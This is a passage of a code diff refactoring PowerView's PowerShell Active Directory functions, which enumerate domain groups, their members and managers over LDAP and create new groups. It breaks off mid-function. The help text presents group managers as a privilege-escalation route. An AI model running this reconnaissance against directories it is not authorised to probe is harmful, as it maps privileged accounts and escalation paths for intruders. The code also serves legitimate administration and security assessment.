+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GroupSearcher = Get-DomainSearcher @SearcherArguments } - process { - if($GroupSearcher) { + PROCESS { + if ($GroupSearcher) { + if ($PSBoundParameters['MemberIdentity']) { - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" - } + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } - if ($UserName) { - # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1 + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True - if($User) { - # convert the user to a directory entry - $UserDirectoryEntry = $User.GetDirectoryEntry() + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() - # cause the cache to calculate the token groups for the user - $UserDirectoryEntry.RefreshCache("tokenGroups") + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') - $UserDirectoryEntry.TokenGroups | ForEach-Object { + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value # ignore the built in groups - if($GroupSid -notmatch '^S-1-5-32-.*') { - if($FullData) { - $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential - $Group.PSObject.TypeNames.Add('PowerView.Group') + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') $Group } - else { - if($RawSids) { - $GroupSid - } - else { - Convert-SidToName -SID $GroupSid - } - } } } } - else { - Write-Warning "UserName '$UserName' failed to resolve." - } } else { - if ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } } - else { - $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" - $Results = $GroupSearcher.FindAll() + if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } + else { $Results = $GroupSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - # if we're returning full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Group = Convert-LDAPProperty -Properties $_.Properties - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ } else { - # otherwise we're just returning the group name - $_.properties.samaccountname + $Group = Convert-LDAPProperty -Properties $_.Properties + } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" } } - $Results.dispose() $GroupSearcher.dispose() } } @@ -5255,208 +8716,731 @@ function Get-NetGroup { } -function Get-NetGroupMember { +function New-DomainGroup { <# - .SYNOPSIS - - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" +.SYNOPSIS - .PARAMETER GroupName +Creates a new domain group (assuming appropriate permissions) and returns the group object. - The group name to query for users. +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). - .PARAMETER SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext - The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" +.DESCRIPTION - .PARAMETER Filter +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. - A customized ldap filter string to use, e.g. "(description=*admin*)" +.PARAMETER SamAccountName - .PARAMETER Domain +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. Mandatory. - The domain to query for group users, defaults to the current domain. +.PARAMETER Name - .PARAMETER DomainController +Specifies the name of the group to create. If not provided, defaults to SamAccountName. - Domain controller to reflect LDAP queries through. +.PARAMETER DisplayName - .PARAMETER ADSpath +Specifies the display name of the group to create. If not provided, defaults to SamAccountName. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER Description - .PARAMETER FullData +Specifies the description of the group to create. - Switch. Returns full data objects instead of just group/users. +.PARAMETER Domain - .PARAMETER Recurse +Specifies the domain to use to search for user/group principals, defaults to the current domain. - Switch. If the group member is a group, recursively try to query its members as well. +.PARAMETER Credential - .PARAMETER UseMatchingRule +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. - Much faster than manual recursion, but doesn't reveal cross-domain groups. +.EXAMPLE - .PARAMETER PageSize +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' - The PageSize to set for the LDAP searcher object. +Creates the 'TestGroup' group with the specified description. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred - .EXAMPLE +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. - PS C:\> Get-NetGroupMember - - Returns the usernames that of members of the "Domain Admins" domain group. +.OUTPUTS - .EXAMPLE - - PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" - - Returns the usernames that of members of the "Power Users" group in the 'testing' domain. +DirectoryServices.AccountManagement.GroupPrincipal +#> - .LINK + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ -#> + [ValidateNotNullOrEmpty()] + [String] + $Name, - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] [String] - $GroupName, + $DisplayName, + [ValidateNotNullOrEmpty()] [String] - $SID, + $Description, + [ValidateNotNullOrEmpty()] [String] $Domain, + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate group parameters + $Group.SamAccountName = $Context.Identity + + if ($PSBoundParameters['Name']) { + $Group.Name = $Name + } + else { + $Group.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $Group.DisplayName = $DisplayName + } + else { + $Group.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $Group.Description = $Description + } + + Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" + try { + $Null = $Group.Save() + Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" + $Group + } + catch { + Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" + } + } +} + + +function Get-DomainManagedSecurityGroup { +<# +.SYNOPSIS + +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +.DESCRIPTION + +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv + +Store a list of all security groups with managers in group-managers.csv + +.OUTPUTS + +PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ManagedSecurityGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $ADSpath, + $SearchBase, - [Switch] - $FullData, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $Recurse, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [Switch] - $UseMatchingRule, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - if($DomainController) { - $TargetDomainController = $DomainController - } - else { - $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name - } + BEGIN { + $SearcherArguments = @{ + 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } - if($Domain) { + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain $TargetDomain = $Domain } else { - $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name + $TargetDomain = $Env:USERDNSDOMAIN + } + + # go through the list of security groups on the domain and identify those who have a manager + Get-DomainGroup @SearcherArguments | ForEach-Object { + $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' + $SearcherArguments['Identity'] = $_.managedBy + $Null = $SearcherArguments.Remove('LDAPFilter') + + # $SearcherArguments + # retrieve the object that the managedBy DN refers to + $GroupManager = Get-DomainObject @SearcherArguments + # Write-Host "GroupManager: $GroupManager" + $ManagedGroup = New-Object PSObject + $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname + $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname + $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname + $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName + + # determine whether the manager is a user or a group + if ($GroupManager.samaccounttype -eq 0x10000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' + } + elseif ($GroupManager.samaccounttype -eq 0x30000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' + } + + $ACLArguments = @{ + 'Identity' = $_.distinguishedname + 'RightsFilter' = 'WriteMembers' + } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + # # TODO: correct! + # # find the ACLs that relate to the ability to write to the group + # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose + # # $ACLArguments + # # double-check that the manager + # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True + # } + # else { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False + # } + + $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' + + $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') + $ManagedGroup } + } +} + + +function Get-DomainGroupMember { +<# +.SYNOPSIS + +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. Each result is then rebound and the full user +or group object is returned. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Recurse + +Switch. If the group member is a group, recursively try to query its members as well. + +.PARAMETER RecurseUsingMatchingRule + +Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMember "Desktop Admins" + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +'Desktop Admins' | Get-DomainGroupMember -Recurse + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember + +.EXAMPLE + +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +.OUTPUTS + +PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +.LINK + +http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GroupMember')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'ManualRecurse')] + [Switch] + $Recurse, + + [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] + [Switch] + $RecurseUsingMatchingRule, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'member,samaccountname,distinguishedname' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } - process { + PROCESS { + $GroupSearcher = Get-DomainSearcher @SearcherArguments if ($GroupSearcher) { - if ($Recurse -and $UseMatchingRule) { - # resolve the group to a distinguishedname - if ($GroupName) { - $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - elseif ($SID) { - $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - $GroupDN = $Group.distinguishedname - $GroupFoundName = $Group.samaccountname - - if ($GroupDN) { - $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" - $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + if ($PSBoundParameters['RecurseUsingMatchingRule']) { + $SearcherArguments['Identity'] = $Identity + $SearcherArguments['Raw'] = $True + $Group = Get-DomainGroup @SearcherArguments - $Members = $GroupSearcher.FindAll() - $GroupFoundName = $GroupName + if (-not $Group) { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" } else { - Write-Error "Unable to find Group" + $GroupFoundName = $Group.properties.item('samaccountname')[0] + $GroupFoundDN = $Group.properties.item('distinguishedname')[0] + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) + $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} } + $Null = $SearcherArguments.Remove('Raw') } else { - if ($GroupName) { - $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + 